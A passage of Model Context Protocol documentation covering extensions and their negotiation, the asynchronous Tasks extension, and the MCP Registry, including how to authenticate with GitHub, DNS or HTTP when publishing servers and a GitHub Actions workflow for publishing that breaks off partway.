| [MCPJam](https://www.mcpjam.com/) | | | |
| [ChatGPT](https://chatgpt.com/) | | | |
| [Cursor](https://cursor.com/) | | | |
| [Archestra.AI](https://www.archestra.ai/) | | | |
| [PostHog Code](https://posthog.com/code/) | | | |
Auth extension support (OAuth Client Credentials and Enterprise-Managed Authorization) is tracked separately from the core MCP authorization features (DCR, CIMD). Check each extension's specification and the [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth) for the latest implementation status.
## Adding extension support to your client
If you're building an MCP client and want to implement extension support:
1. Review the extension specification (e.g., in the [ext-auth](https://github.com/modelcontextprotocol/ext-auth) or [ext-apps](https://github.com/modelcontextprotocol/ext-apps) repository)
2. Declare support in the `extensions` field of the `io.modelcontextprotocol/clientCapabilities` your client sends in each request's `_meta`, and read the server's `extensions` from its [`server/discover`](/specification/draft/server/discover) response
3. Implement the extension's protocol requirements
4. Submit a pull request to update this matrix
See [Extensions Overview](/extensions/overview#negotiation) for details on the capability negotiation mechanism.
# Extensions Overview
Source: https://modelcontextprotocol.io/extensions/overview
Optional extensions to the Model Context Protocol
# MCP Extensions
MCP extensions are optional additions to the specification that define capabilities beyond the core protocol. Extensions enable functionality that may be modular (e.g., distinct features like authentication), specialized (e.g., industry-specific logic), or experimental (e.g., features being incubated for potential core inclusion).
Extensions are identified using a unique *extension identifier* with the format: `{vendor-prefix}/{extension-name}`, e.g. `io.modelcontextprotocol/oauth-client-credentials`. Identifiers follow the same rules as [`_meta` keys](/specification/draft/basic/index#meta), with a mandatory prefix. Official extensions use the `io.modelcontextprotocol` vendor prefix.
If you're building a third-party extension, use a reversed domain name you own as the vendor prefix to avoid collisions (similar to Java package naming). For example, a company owning `example.com` would use `com.example/` as their prefix (e.g., `com.example/my-extension`).
## Official Extension Repositories
Official extensions live inside the [Model Context Protocol GitHub organization](https://github.com/modelcontextprotocol/) in repositories with the `ext-` prefix.
### MCP Authorization Extensions
Extensions for supplementary authorization mechanisms beyond the core
specification.
| Extension | Description |
| ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- |
| [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | OAuth 2.0 client credentials flow for machine-to-machine authentication. |
| [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) | Framework for enterprise environments requiring centralized access control. |
### MCP Apps
Extensions for interactive UI elements in conversational MCP clients.
| Extension | Description |
| ------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| [MCP Apps](/extensions/apps/overview) | Allows MCP Servers to display interactive UI elements (charts, forms, video players) inline within conversations |
To get started building MCP Apps, see the [quickstart guide](/extensions/apps/build#getting-started) or read the full [MCP Apps documentation](https://apps.extensions.modelcontextprotocol.io/api/documents/Quickstart.html).
### MCP Tasks
| Extension | Description |
| --------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| [MCP Tasks](/extensions/tasks/overview) | Asynchronous task execution for long-running operations, with polling, mid-flight input, and durable handles. |
## Experimental Extensions
Experimental extensions provide an incubation pathway for [Working Groups and Interest Groups](/community/working-interest-groups) to prototype ideas and collaborate on extension concepts before formal SEP submission.
Experimental extension repositories live within the MCP GitHub organization with the `experimental-ext-` prefix (e.g., `experimental-ext-interceptors`).
### Ground Rules
* Every experimental extension needs to be associated with a Working Group or Interest Group
* Repositories and published packages need to clearly indicate their experimental status (e.g., in the README and package name)
* [Core Maintainers](/community/contributor-ladder#core-maintainer) retain oversight of experimental extension repositories, including the ability to archive or remove them
### Graduation to Official Status
To promote an experimental extension to official status, it goes through the standard SEP process (Extensions Track). Feel free to reference the experimental repository and any reference implementations you built during incubation to demonstrate the extension's practicality.
## Creating Extensions
The lifecycle for official extensions follows a SEP-based process. For full details, see [SEP-2133: Extensions](/seps/2133-extensions).
1. **Propose**: Create a SEP in the main MCP repository using the [standard SEP guidelines](/community/sep-guidelines) with type **Extensions Track**.
2. **Implement**: Build at least one reference implementation in an official SDK — this is required before the SEP can be reviewed.
3. **Review**: [Core Maintainers](/community/contributor-ladder#core-maintainer) review the SEP and have final authority over inclusion.
4. **Publish**: Once approved, open a PR to add the extension to the extension repository.
5. **Adopt**: After that, other clients, servers, and SDKs can implement the extension too.
### Requirements
* Extension specifications need to use RFC 2119 language (MUST, SHOULD, MAY)
* Extensions must have an associated working group or interest group
### SDK Implementation
SDKs can choose to implement extensions, but it's not required for protocol conformance. SDK maintainers have full autonomy over which extensions they support. Where an SDK does support extensions, SDK documentation should list which extensions are supported.
Extensions are always disabled by default and require explicit opt-in from the developer.
### Evolution
Extensions evolve independently of the core protocol. Updates are managed by the extension repository maintainers and don't require core maintainer review.
That said, backwards compatibility matters. When you need to change an extension, prefer using capability flags or versioning within the extension settings object rather than creating a new extension identifier. If a breaking change is unavoidable, use a new identifier (e.g., `io.modelcontextprotocol/my-extension-v2`).
A **breaking change** is any modification that would cause existing implementations to fail or behave incorrectly, including:
* Removing or renaming fields
* Changing field types
* Altering the semantics of existing behavior
* Adding new required fields
## Negotiation
Clients and servers advertise their support for extensions in the `extensions` field within their respective capability declarations.
### Client Capabilities
Clients advertise extension support in `_meta["io.modelcontextprotocol/clientCapabilities"]` within each request:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
},
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
"io.modelcontextprotocol/ui": {
"mimeTypes": ["text/html;profile=mcp-app"]
}
}
},
"io.modelcontextprotocol/clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
}
}
}
}
```
### Server Capabilities
Servers advertise extension support in the `server/discover` response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"supportedVersions": ["2026-07-28"],
"capabilities": {
"tools": {},
"extensions": {
"io.modelcontextprotocol/ui": {}
}
},
"_meta": {
"io.modelcontextprotocol/serverInfo": {
"name": "ExampleServer",
"version": "1.0.0"
}
},
"ttlMs": 3600000,
"cacheScope": "public"
}
}
```
Each extension specifies the schema of its settings object; an empty object indicates no settings.
### Graceful Degradation
If one side supports an extension but the other doesn't, the supporting side needs to either fall back to core protocol behavior or reject the request with an appropriate error if the extension is mandatory.
It's a good practice to document expected fallback behavior in your extension. For example, a server offering UI-enhanced tools should still return meaningful text content for clients that don't support the UI extension. On the other hand, a server that requires a specific authentication extension can reject connections from clients that don't support it.
# Tasks
Source: https://modelcontextprotocol.io/extensions/tasks/overview
Asynchronous task execution for long-running MCP operations
The [ext-tasks repository](https://github.com/modelcontextprotocol/ext-tasks) contains the full specification and documentation for MCP Tasks.
Full specification and documentation for MCP Tasks.
Not every tool call returns instantly. Some operations — CI pipelines, batch
processing, human approvals — take seconds, minutes, or longer. MCP Tasks let
servers return a durable handle instead of blocking, so clients can poll for
progress, provide input when needed, and retrieve the final result after
reconnecting.
## Why not just block?
You could hold the connection open until the work finishes. Tasks solve
problems that blocking cannot:
* **No long-lived connections.** Blocking ties up a connection for the duration
of the operation. Many clients and transport intermediaries impose timeouts
that make this impractical beyond a few seconds.
* **Crash resilience.** A task ID is a durable handle. If the client
disconnects or restarts, it can resume polling with the same ID.
* **Progress visibility.** Tasks carry status metadata (`working`,
`input_required`, `completed`, `failed`, `cancelled`) and optional status
messages, giving clients visibility into progress.
* **Mid-flight interaction.** When a task needs input (e.g., an elicitation for
user confirmation), it moves to `input_required` and surfaces the request.
The client responds via `tasks/update` — no second connection or unsolicited
server-to-client messages required.
* **Server-directed.** The server decides per-request whether to create a task.
Clients opt in once via the extension capability and handle whichever result
shape arrives. No per-tool warmup or per-request flag.
## How Tasks work
Tasks extend the standard request flow. When a server decides a request will be
long-running, it returns a task handle instead of the final result. The client
polls for completion.
1. **Capability negotiation.** The client includes
`io.modelcontextprotocol/tasks` in its per-request capabilities. The server
advertises the same extension in its own `server/discover` capabilities.
2. **Task creation.** In response to a supported request, the server returns a
`CreateTaskResult` (identified by `resultType: "task"`) containing a `taskId`,
initial status, TTL, and suggested polling interval. The task is durably
created before the response is sent.
3. **Polling.** The client calls `tasks/get` with the `taskId`. The response
carries the current status and, for terminal states, the final result or
error.
4. **Mid-flight input.** If the task moves to `input_required`, the `tasks/get`
response includes an `inputRequests` map with elicitations or other server
requests. The client fulfills these via `tasks/update`.
5. **Completion.** When the status reaches `completed`, the `result` field
contains what the original request would have returned synchronously. If the
status is `failed`, the `error` field contains the JSON-RPC error.
6. **Cancellation.** The client can send `tasks/cancel` at any time.
Cancellation is cooperative — the server acknowledges the intent but is not
obligated to stop the work.
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: tools/call (with tasks capability)
Server-->>Client: CreateTaskResult (taskId, status: working)
loop Poll until terminal
Client->>Server: tasks/get (taskId)
Server-->>Client: Task (status: working)
end
Note over Client,Server: Server needs user input
Client->>Server: tasks/get (taskId)
Server-->>Client: Task (status: input_required, inputRequests)
Client->>Server: tasks/update (taskId, inputResponses)
Server-->>Client: ack
loop Poll until terminal
Client->>Server: tasks/get (taskId)
Server-->>Client: Task (status: working)
end
Client->>Server: tasks/get (taskId)
Server-->>Client: Task (status: completed, result)
```
## When to use Tasks
Tasks are a good fit when your use case involves:
**Long-running operations.** CI pipelines, batch data processing, or model
training jobs that take minutes or hours.
**Human-in-the-loop workflows.** Approval gates, review steps, or any operation
that pauses for user confirmation. The task moves to `input_required` and the
client presents the request.
**External job systems.** If your server wraps an API that already uses job IDs
(cloud deployments, async APIs, queued work), return a task when you create the
job and resolve it when the job completes.
**Unreliable connections.** Mobile clients, intermittent networks, or
environments where connections drop. Task IDs survive disconnects.
**Batch processing.** Operations that process many items (bulk imports, mass
updates) where partial progress is meaningful. Status messages report progress.
## Task lifecycle
| Status | Meaning |
| ---------------- | -------------------------------------------------------------------------- |
| `working` | The operation is in progress. |
| `input_required` | The server needs client input before continuing. See `inputRequests`. |
| `completed` | The operation finished. The `result` field contains the final output. |
| `failed` | A JSON-RPC error occurred during execution. The `error` field has details. |
| `cancelled` | The operation was cancelled (not always honored). |
`completed`, `failed`, and `cancelled` are terminal — once reached, the task's
state does not change.
## Notifications
Servers can push status updates via `notifications/tasks`. Clients opt
into these through the `subscriptions/listen` mechanism. Each notification
carries the full task state, eliminating the need for an extra `tasks/get`
round-trip.
Polling is the default. If a server supports notifications, clients can rely on
them instead of polling.
## Implementation guide
### For MCP clients
To consume task-augmented responses, your client must:
Include the extension in its per-request capabilities:
```jsonc theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "...",
"params": {
// Other fields...
"_meta": {
// Other fields...
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {},
},
},
},
},
}
```
When issuing a supported request (e.g., `tools/call`), be prepared to receive
either the standard result or a `CreateTaskResult` with `resultType: "task"`.
Call `tasks/get` with the returned `taskId`, respecting the `pollIntervalMs`
value. Continue polling until the task reaches a terminal status (`completed`,
`failed`, or `cancelled`).
If the task status is `input_required`, read the `inputRequests` map, present
the requests to the user or model, and submit responses via `tasks/update`.
Store task IDs durably so polling can resume after a client crash or restart.
### For MCP servers
To return tasks from your server:
Include the extension in your `server/discover` capabilities:
```jsonc theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
// Other fields...
"capabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {},
},
},
},
}
```
Before returning a `CreateTaskResult`, verify that the client included the
extension in its per-request capabilities. Never return a task to a client that
did not declare support.
When a request will be long-running, respond with `resultType: "task"` and a
`Task` object containing a unique `taskId`, initial status, `ttlMs`, and
`pollIntervalMs`. The task must be durably created before sending the response.
Return the current task state on each poll. For terminal states, include the
`result` (on `completed`) or `error` (on `failed`) field.
Accept `inputResponses` keyed to outstanding `inputRequests`. Acknowledge with
an empty result. Ignore responses for unknown or already-satisfied keys.
Acknowledge cancellation requests with an empty result. Honor them when
possible, but cancellation is cooperative — the task may still reach a
non-`cancelled` terminal status.
## Client support
MCP Tasks is an extension to the [core MCP specification](/specification/latest). Host
support varies by client.
See the [client matrix](/extensions/client-matrix) for extension support across
clients. Task support requires explicit opt-in from both client and server.
## Specification
The Tasks extension is specified in the [ext-tasks repository](https://github.com/modelcontextprotocol/ext-tasks). It uses the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients declare support in the `extensions` field of the `io.modelcontextprotocol/clientCapabilities` they send in each request's `_meta`, and servers advertise theirs in the capabilities returned by [`server/discover`](/specification/draft/server/discover).
# The MCP Registry
Source: https://modelcontextprotocol.io/registry/about
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
The MCP Registry is the official centralized metadata repository for publicly accessible MCP servers, backed by major trusted contributors to the MCP ecosystem such as Anthropic, GitHub, PulseMCP, and Microsoft.
The MCP Registry provides:
* A single place for server creators to publish metadata about their servers
* Namespace management through DNS verification
* A REST API for MCP clients and aggregators to discover available servers
* Standardized installation and configuration information
Server metadata is stored in a standardized [`server.json` format](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/server-json/draft/server.schema.json), which contains:
* The server's unique name (e.g., `io.github.user/server-name`)
* Where to locate the server (e.g., npm package name, remote server URL)
* Execution instructions (e.g., command-line args, env vars)
* Other discovery data (e.g., description, server capabilities)
## The MCP Registry Ecosystem
The MCP Registry is part of an ecosystem that looks something like:
### Relationship with Package Registries
Package registries — such as npm, PyPI, and Docker Hub — host packages with code and binaries.
The MCP Registry hosts metadata that points to those packages.
For example, a `weather-mcp` package could be hosted on npm, and metadata in the MCP Registry could map the "weather v1.2.0" server to `npm:weather-mcp`.
The [Package Types guide](./package-types) lists the supported package types and registries. More package registries may be supported in the future based on community demand. If you are interested in building support for a package registry, please [open an issue](https://github.com/modelcontextprotocol/registry).
### Relationship with Server Developers
The MCP Registry supports both open-source and closed-source servers. Server developers can publish their server's metadata to the registry as long as the server's installation method is publicly available (e.g., an npm package or a Docker image on a public registry) *or* the server itself is publicly accessible (e.g., a remote server that is not restricted to private networks).
The MCP Registry **does not** support private servers. Private servers are those that are only accessible to a narrow set of users. For example, servers published on a private network (like `mcp.acme-corp.internal`) or on private package registries (e.g. `npx -y @acme/mcp --registry https://artifactory.acme-corp.internal/npm`). If you want to publish private servers, we recommend that you host your own private MCP registry and add them there.
### Relationship with Downstream Aggregators
The MCP Registry is intended to be consumed primarily by downstream aggregators, such as MCP server marketplaces.
The metadata hosted by the MCP Registry is deliberately unopinionated. Downstream aggregators can provide curation or additional metadata such as community ratings.
We expect that downstream aggregators will use the MCP Registry API to pull new metadata on a regular but infrequent basis (for example, once per hour). See the [MCP Registry Aggregators guide](./registry-aggregators) for more information.
### Relationship with Other MCP Registries
In addition to a public REST API, the MCP Registry defines an [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) that other MCP registries can implement in order to provide a standardized interface for MCP host applications.
We expect that many downstream aggregators will implement this interface. Private MCP registries can implement it as well to benefit from existing host application support.
Note that the official MCP Registry codebase is **not** designed for self-hosting, and the registry maintainers cannot provide support for this use case. If you choose to fork it, you would need to maintain and operate it independently.
### Relationship with MCP Host Applications
The MCP Registry is not intended to be directly consumed by host applications. Instead, host applications should consume other MCP registries, such as downstream marketplaces, via a REST API conforming to the official MCP Registry's OpenAPI spec.
## Trust and Security
### Verifying Server Authenticity
The MCP Registry uses namespace authentication to ensure that servers come from their claimed sources. Server names follow a reverse DNS format (like `io.github.username/server` or `com.example/server`) that ties them to verified GitHub accounts or domains.
This namespace system ensures that only the legitimate owner of a GitHub account or domain can publish servers under that namespace, providing trust and accountability in the ecosystem. For details on authentication methods, see the [Authentication guide](./authentication).
### Security Scanning
The MCP Registry delegates security scanning to:
* **Underlying package registries** — npm, PyPI, Docker Hub, and other package registries perform their own security scanning and vulnerability detection.
* **Downstream aggregators** — MCP Registry aggregators and marketplaces can implement additional security checks, ratings, or curation.
The MCP Registry focuses on namespace authentication and metadata hosting, while relying on the broader ecosystem for security scanning of actual server code.
### Spam Prevention
The MCP Registry uses multiple mechanisms to prevent spam:
* **Namespace authentication requirements** — Publishers must verify ownership of their namespace through GitHub, DNS, or HTTP challenges, preventing arbitrary spam submissions.
* **Character limits and validation** — Free-form fields have strict character limits and regex validation to prevent abuse.
* **Manual takedown** — The registry maintainers can manually remove spam or malicious servers. See the [Moderation Policy](./moderation-policy) for details on what content is removed.
Future spam prevention measures under consideration include stricter rate limiting, AI-based spam detection, and community reporting capabilities.
# How to Authenticate When Publishing to the Official MCP Registry
Source: https://modelcontextprotocol.io/registry/authentication
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
You must authenticate before publishing to the official MCP Registry. The MCP Registry supports different authentication methods. Which authentication method you choose determines the namespace of your server's name.
If you choose GitHub-based authentication, your server's name in `server.json` **MUST** be of the form `io.github.username/*` (or `io.github.orgname/*`). For example, `io.github.alice/weather-server`.
If you choose domain-based authentication, your server's name in `server.json` **MUST** be of the form `com.example.*/*`, where `com.example` is the reverse-DNS form of your domain name. For example, `io.modelcontextprotocol/everything`.
| Authentication | Name Format | Example Name |
| -------------- | ----------------------------------------------- | ------------------------------------ |
| GitHub-based | `io.github.username/*` or `io.github.orgname/*` | `io.github.alice/weather-server` |
| domain-based | `com.example.*/*` | `io.modelcontextprotocol/everything` |
## GitHub Authentication
GitHub authentication uses an OAuth flow initiated by the `mcp-publisher` CLI tool.
To perform GitHub authentication, navigate to your server project directory and run:
```bash theme={null}
mcp-publisher login github
```
You should see output like:
```text Output theme={null}
Logging in with github...
To authenticate, please:
1. Go to: https://github.com/login/device
2. Enter code: ABCD-1234
3. Authorize this application
Waiting for authorization...
```
Visit the link, follow the prompts, and enter the authorization code that was printed in the terminal (e.g., `ABCD-1234` in the above output). Once complete, go back to the terminal, and you should see output like:
```text Output theme={null}
Successfully authenticated!
✓ Successfully logged in
```
## DNS Authentication
DNS authentication is a domain-based authentication method that relies on a DNS TXT record.
To perform DNS authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate a TXT record based on a public/private key pair:
```bash Ed25519 theme={null}
MY_DOMAIN="example.com"
# Generate public/private key pair using Ed25519
openssl genpkey -algorithm Ed25519 -out key.pem
# Generate TXT record
PUBLIC_KEY="$(openssl pkey -in key.pem -pubout -outform DER | tail -c 32 | base64)"
echo "${MY_DOMAIN}. IN TXT \"v=MCPv1; k=ed25519; p=${PUBLIC_KEY}\""
```
```bash ECDSA P-384 theme={null}
MY_DOMAIN="example.com"
# Generate public/private key pair using ECDSA P-384
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 -out key.pem
# Generate TXT record
PUBLIC_KEY="$(openssl ec -in key.pem -text -noout -conv_form compressed | grep -A4 "pub:" | tail -n +2 | tr -d ' :\n' | xxd -r -p | base64)"
echo "${MY_DOMAIN}. IN TXT \"v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}\""
```
```bash Google KMS theme={null}
MY_DOMAIN="example.com"
MY_PROJECT="myproject"
MY_KEYRING="mykeyring"
MY_KEY_NAME="mykey"
# Log in using gcloud CLI (https://cloud.google.com/sdk/docs/install)
gcloud auth login
# Set default project
gcloud config set project "${MY_PROJECT}"
# Create a keyring in your project
gcloud kms keyrings create "${MY_KEYRING}" --location global
# Create an Ed25519 signing key
gcloud kms keys create "${MY_KEY_NAME}" --default-algorithm=ec-sign-ed25519 --purpose=asymmetric-signing --keyring="${MY_KEYRING}" --location=global
# Enable Application Default Credentials (ADC) so the publisher tool can sign
gcloud auth application-default login
# Attempt login to show the public key
mcp-publisher login dns google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1"
# Copy the "Expected proof record":
# ${MY_DOMAIN}. IN TXT "v=MCPv1; k=ed25519; p=${PUBLIC_KEY}"
```
```bash Azure Key Vault theme={null}
MY_DOMAIN="example.com"
MY_SUBSCRIPTION="subscription name or ID"
MY_RESOURCE_GROUP="MyResourceGroup"
MY_KEY_VAULT="MyKeyVault"
MY_KEY_NAME="MyKey"
# Log in using Azure CLI (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)
az login
# Set default subscription
az account set --subscription "${MY_SUBSCRIPTION}"
# Create a resource group
az group create --location westus --resource-group "${MY_RESOURCE_GROUP}"
# Create a key vault
az keyvault create --name "${MY_KEY_VAULT}" --location westus --resource-group "${MY_RESOURCE_GROUP}"
# Create an ECDSA P-384 signing key
az keyvault key create --name "${MY_KEY_NAME}" --vault-name "${MY_KEY_VAULT}" --curve P-384
# Attempt login to show the public key
mcp-publisher login dns azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}"
# Copy the "Expected proof record":
# ${MY_DOMAIN}. IN TXT "v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}"
```
Then add the TXT record using your DNS provider's control panel. It may take several minutes for the TXT record to propagate. After the TXT record has propagated, log in using the `mcp-publisher login` command:
```bash Ed25519 theme={null}
MY_DOMAIN="example.com"
PRIVATE_KEY="$(openssl pkey -in key.pem -noout -text | grep -A3 "priv:" | tail -n +2 | tr -d ' :\n')"
mcp-publisher login dns --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}"
```
```bash ECDSA P-384 theme={null}
MY_DOMAIN="example.com"
PRIVATE_KEY="$(openssl ec -in key.pem -noout -text | grep -A4 "priv:" | tail -n +2 | tr -d ' :\n')"
mcp-publisher login dns --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}"
```
```bash Google KMS theme={null}
MY_DOMAIN="example.com"
MY_PROJECT="myproject"
MY_KEYRING="mykeyring"
MY_KEY_NAME="mykey"
mcp-publisher login dns google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1"
```
```bash Azure Key Vault theme={null}
MY_DOMAIN="example.com"
MY_KEY_VAULT="MyKeyVault"
MY_KEY_NAME="MyKey"
mcp-publisher login dns azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}"
```
## HTTP Authentication
HTTP authentication is a domain-based authentication method that relies on a `/.well-known/mcp-registry-auth` file hosted on your domain. For example, `https://example.com/.well-known/mcp-registry-auth`.
To perform HTTP authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate an `mcp-registry-auth` file based on a public/private key pair:
```bash Ed25519 theme={null}
# Generate public/private key pair using Ed25519
openssl genpkey -algorithm Ed25519 -out key.pem
# Generate mcp-registry-auth file
PUBLIC_KEY="$(openssl pkey -in key.pem -pubout -outform DER | tail -c 32 | base64)"
echo "v=MCPv1; k=ed25519; p=${PUBLIC_KEY}" > mcp-registry-auth
```
```bash ECDSA P-384 theme={null}
# Generate public/private key pair using ECDSA P-384
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 -out key.pem
# Generate mcp-registry-auth file
PUBLIC_KEY="$(openssl ec -in key.pem -text -noout -conv_form compressed | grep -A4 "pub:" | tail -n +2 | tr -d ' :\n' | xxd -r -p | base64)"
echo "v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}" > mcp-registry-auth
```
```bash Google KMS theme={null}
MY_DOMAIN="example.com"
MY_PROJECT="myproject"
MY_KEYRING="mykeyring"
MY_KEY_NAME="mykey"
# Log in using gcloud CLI (https://cloud.google.com/sdk/docs/install)
gcloud auth login
# Set default project
gcloud config set project "${MY_PROJECT}"
# Create a keyring in your project
gcloud kms keyrings create "${MY_KEYRING}" --location global
# Create an Ed25519 signing key
gcloud kms keys create "${MY_KEY_NAME}" --default-algorithm=ec-sign-ed25519 --purpose=asymmetric-signing --keyring="${MY_KEYRING}" --location=global
# Enable Application Default Credentials (ADC) so the publisher tool can sign
gcloud auth application-default login
# Attempt login to show the public key
mcp-publisher login http google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1"
# Copy the "Expected proof record" to `./mcp-registry-auth`:
# v=MCPv1; k=ed25519; p=${PUBLIC_KEY}
```
```bash Azure Key Vault theme={null}
MY_DOMAIN="example.com"
MY_SUBSCRIPTION="subscription name or ID"
MY_RESOURCE_GROUP="MyResourceGroup"
MY_KEY_VAULT="MyKeyVault"
MY_KEY_NAME="MyKey"
# Log in using Azure CLI (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)
az login
# Set default subscription
az account set --subscription "${MY_SUBSCRIPTION}"
# Create a resource group
az group create --location westus --resource-group "${MY_RESOURCE_GROUP}"
# Create a key vault
az keyvault create --name "${MY_KEY_VAULT}" --location westus --resource-group "${MY_RESOURCE_GROUP}"
# Create an ECDSA P-384 signing key
az keyvault key create --name "${MY_KEY_NAME}" --vault-name "${MY_KEY_VAULT}" --curve P-384
# Attempt login to show the public key
mcp-publisher login http azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}"
# Copy the "Expected proof record" to `./mcp-registry-auth`:
# v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}
```
Then host the `mcp-registry-auth` file at `/.well-known/mcp-registry-auth` on your domain. After the file is hosted, log in using the `mcp-publisher login` command:
```bash Ed25519 theme={null}
MY_DOMAIN="example.com"
PRIVATE_KEY="$(openssl pkey -in key.pem -noout -text | grep -A3 "priv:" | tail -n +2 | tr -d ' :\n')"
mcp-publisher login http --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}"
```
```bash ECDSA P-384 theme={null}
MY_DOMAIN="example.com"
PRIVATE_KEY="$(openssl ec -in key.pem -noout -text | grep -A4 "priv:" | tail -n +2 | tr -d ' :\n')"
mcp-publisher login http --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}"
```
```bash Google KMS theme={null}
MY_DOMAIN="example.com"
MY_PROJECT="myproject"
MY_KEYRING="mykeyring"
MY_KEY_NAME="mykey"
mcp-publisher login http google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1"
```
```bash Azure Key Vault theme={null}
MY_DOMAIN="example.com"
MY_KEY_VAULT="MyKeyVault"
MY_KEY_NAME="MyKey"
mcp-publisher login http azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}"
```
# Frequently Asked Questions
Source: https://modelcontextprotocol.io/registry/faq
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
## General
### What is the difference between "Official MCP Registry", "MCP Registry", "MCP registry", "MCP Registry API", etc?
* "MCP Registry API" — An API that implements the [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) defined by the MCP Registry.
* "Official MCP Registry API" — The REST API served at `https://registry.modelcontextprotocol.io`, which is a superset of the MCP Registry API. Its OpenAPI spec can be downloaded from [https://registry.modelcontextprotocol.io/openapi.yaml](https://registry.modelcontextprotocol.io/openapi.yaml).
* "MCP registry" — A third-party service that provides an MCP Registry API.
* "Official MCP Registry" (or "The MCP Registry") — The service that lives at `https://registry.modelcontextprotocol.io`.
### Can I delete/unpublish my server?
Currently, no. At the time of writing, there is [open discussion](https://github.com/modelcontextprotocol/registry/issues/104).
### How do I update my server metadata?
Submit a new `server.json` with a unique version string. Once published, version metadata is immutable (similar to npm).
### Can I add custom metadata when publishing?
Yes, custom metadata under `_meta.io.modelcontextprotocol.registry/publisher-provided` is preserved when publishing to the registry. This allows you to include custom metadata specific to your publishing process.
There is a 4KB size limit (4096 bytes of JSON). Publishing will fail if this limit is exceeded.
## Reporting Issues
### What if I need to report a spam or malicious server?
1. Report it as abuse to the underlying package registry (e.g. NPM, PyPI, DockerHub, etc.); and
2. Raise a GitHub issue on the registry repo with a title beginning `Abuse report: `
### What if I need to report a security vulnerability in the registry itself?
Follow [the MCP community SECURITY.md](https://github.com/modelcontextprotocol/.github/blob/main/SECURITY.md).
# How to Automate Publishing with GitHub Actions
Source: https://modelcontextprotocol.io/registry/github-actions
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
## Step 1: Create a Workflow File
In your server project directory, create a `.github/workflows/publish-mcp.yml` file. Here is an example for npm-based local server, but the MCP Registry publishing steps are the same for all package types:
```yaml OIDC authentication (recommended) theme={null}
name: Publish to MCP Registry
on:
push:
tags: ["v*"] # Triggers on version tags like v1.0.0
jobs:
publish:
runs-on: ubuntu-latest
permissions:
id-token: write # Required for OIDC authentication
contents: read
steps:
- name: Checkout code
uses: actions/checkout@v5
### Publish underlying npm package:
- name: Set up Node.js
uses: actions/setup-node@v5
with:
node-version: "lts/*"
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm run test --if-present
- name: Build package
run: npm run build --if-present
- name: Publish package to npm
run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
### Publish MCP server:
- name: Install mcp-publisher
run: |
curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher
- name: Authenticate to MCP Registry
run: ./mcp-publisher login github-oidc
